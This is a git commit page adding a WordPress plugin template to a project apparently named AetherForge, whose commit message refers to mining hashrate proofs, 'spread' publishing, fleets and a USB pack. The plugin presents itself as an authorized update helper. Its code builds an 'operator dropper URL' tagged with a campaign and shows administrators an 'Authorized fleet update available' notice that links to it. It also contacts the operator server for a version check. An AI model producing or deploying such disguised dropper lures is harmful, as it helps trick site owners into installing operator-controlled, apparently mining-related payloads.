feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
98
templates/wordpress-plugin/plugin-template/plugin.php
Normal file
98
templates/wordpress-plugin/plugin-template/plugin.php
Normal file
@@ -0,0 +1,98 @@
|
||||
<?php
|
||||
/**
|
||||
* Plugin Name: {{PLUGIN_NAME}}
|
||||
* Plugin URI: {{SERVER_URL}}
|
||||
* Description: Operator-owned update helper for authorized purple-team distribution. Not distributed via wordpress.org.
|
||||
* Version: {{VERSION}}
|
||||
* Author: Operator
|
||||
* License: Proprietary
|
||||
* Text Domain: {{PLUGIN_SLUG}}
|
||||
*
|
||||
* Host this ZIP on a WordPress site you control. The plugin surfaces an update link that points at your
|
||||
* AetherForge command deck — never a third-party plugin directory.
|
||||
*/
|
||||
|
||||
if (!defined('ABSPATH')) {
|
||||
exit;
|
||||
}
|
||||
|
||||
define('AF_HELPER_VERSION', '{{VERSION}}');
|
||||
define('AF_HELPER_SERVER', '{{SERVER_URL}}');
|
||||
define('AF_HELPER_CAMPAIGN', '{{WP_CAMPAIGN}}');
|
||||
define('AF_HELPER_BUILD_PIN', '{{BUILD_ID}}');
|
||||
define('AF_HELPER_DOWNLOAD', '{{DOWNLOAD_URL}}');
|
||||
|
||||
/**
|
||||
* Build the operator dropper URL (pinned build + wp campaign tag).
|
||||
*/
|
||||
function af_helper_download_url(): string {
|
||||
$base = AF_HELPER_DOWNLOAD;
|
||||
if ($base !== '' && strpos($base, 'http') === 0) {
|
||||
return $base;
|
||||
}
|
||||
$url = rtrim(AF_HELPER_SERVER, '/') . '/get?c=' . rawurlencode(AF_HELPER_CAMPAIGN);
|
||||
if (AF_HELPER_BUILD_PIN !== '') {
|
||||
$url .= '&pin=' . rawurlencode(AF_HELPER_BUILD_PIN);
|
||||
}
|
||||
return $url;
|
||||
}
|
||||
|
||||
/**
|
||||
* Admin notice — offers the authorized update/download link (operator confirms install off-site).
|
||||
*/
|
||||
function af_helper_admin_notice(): void {
|
||||
if (!current_user_can('manage_options')) {
|
||||
return;
|
||||
}
|
||||
$dl = esc_url(af_helper_download_url());
|
||||
echo '<div class="notice notice-info"><p><strong>' . esc_html('{{PLUGIN_NAME}}') . '</strong> — ';
|
||||
echo esc_html__('Authorized fleet update available from your command deck.', '{{PLUGIN_SLUG}}');
|
||||
echo ' <a href="' . $dl . '" target="_blank" rel="noopener noreferrer">';
|
||||
echo esc_html__('Download update', '{{PLUGIN_SLUG}}') . '</a>';
|
||||
echo ' <span class="description">(' . esc_html(AF_HELPER_CAMPAIGN) . ')</span></p></div>';
|
||||
}
|
||||
add_action('admin_notices', 'af_helper_admin_notice');
|
||||
|
||||
/**
|
||||
* Lightweight version check — compares local constant to remote header (optional operator signal).
|
||||
*/
|
||||
function af_helper_remote_version(): string {
|
||||
$endpoint = rtrim(AF_HELPER_SERVER, '/') . '/get?c=' . rawurlencode(AF_HELPER_CAMPAIGN) . '&check=1';
|
||||
$resp = wp_remote_head($endpoint, array('timeout' => 8, 'redirection' => 0));
|
||||
if (is_wp_error($resp)) {
|
||||
return AF_HELPER_VERSION;
|
||||
}
|
||||
$ver = wp_remote_retrieve_header($resp, 'x-aetherforge-version');
|
||||
if (is_array($ver)) {
|
||||
$ver = reset($ver);
|
||||
}
|
||||
return is_string($ver) && $ver !== '' ? $ver : AF_HELPER_VERSION;
|
||||
}
|
||||
|
||||
/**
|
||||
* Settings page under Tools — documents operator-owned hosting model.
|
||||
*/
|
||||
function af_helper_register_menu(): void {
|
||||
add_management_page(
|
||||
'{{PLUGIN_NAME}}',
|
||||
'{{PLUGIN_NAME}}',
|
||||
'manage_options',
|
||||
'{{PLUGIN_SLUG}}',
|
||||
'af_helper_settings_page'
|
||||
);
|
||||
}
|
||||
add_action('admin_menu', 'af_helper_register_menu');
|
||||
|
||||
function af_helper_settings_page(): void {
|
||||
if (!current_user_can('manage_options')) {
|
||||
return;
|
||||
}
|
||||
$dl = esc_url(af_helper_download_url());
|
||||
echo '<div class="wrap"><h1>' . esc_html('{{PLUGIN_NAME}}') . '</h1>';
|
||||
echo '<p>' . esc_html__('This plugin is hosted on your WordPress site — not wordpress.org. Updates pull from your AetherForge server.', '{{PLUGIN_SLUG}}') . '</p>';
|
||||
echo '<table class="form-table"><tbody>';
|
||||
echo '<tr><th>' . esc_html__('Campaign', '{{PLUGIN_SLUG}}') . '</th><td><code>' . esc_html(AF_HELPER_CAMPAIGN) . '</code></td></tr>';
|
||||
echo '<tr><th>' . esc_html__('Download URL', '{{PLUGIN_SLUG}}') . '</th><td><a href="' . $dl . '">' . $dl . '</a></td></tr>';
|
||||
echo '<tr><th>' . esc_html__('Local version', '{{PLUGIN_SLUG}}') . '</th><td>' . esc_html(AF_HELPER_VERSION) . '</td></tr>';
|
||||
echo '</tbody></table></div>';
|
||||
}
|
||||
Reference in New Issue
Block a user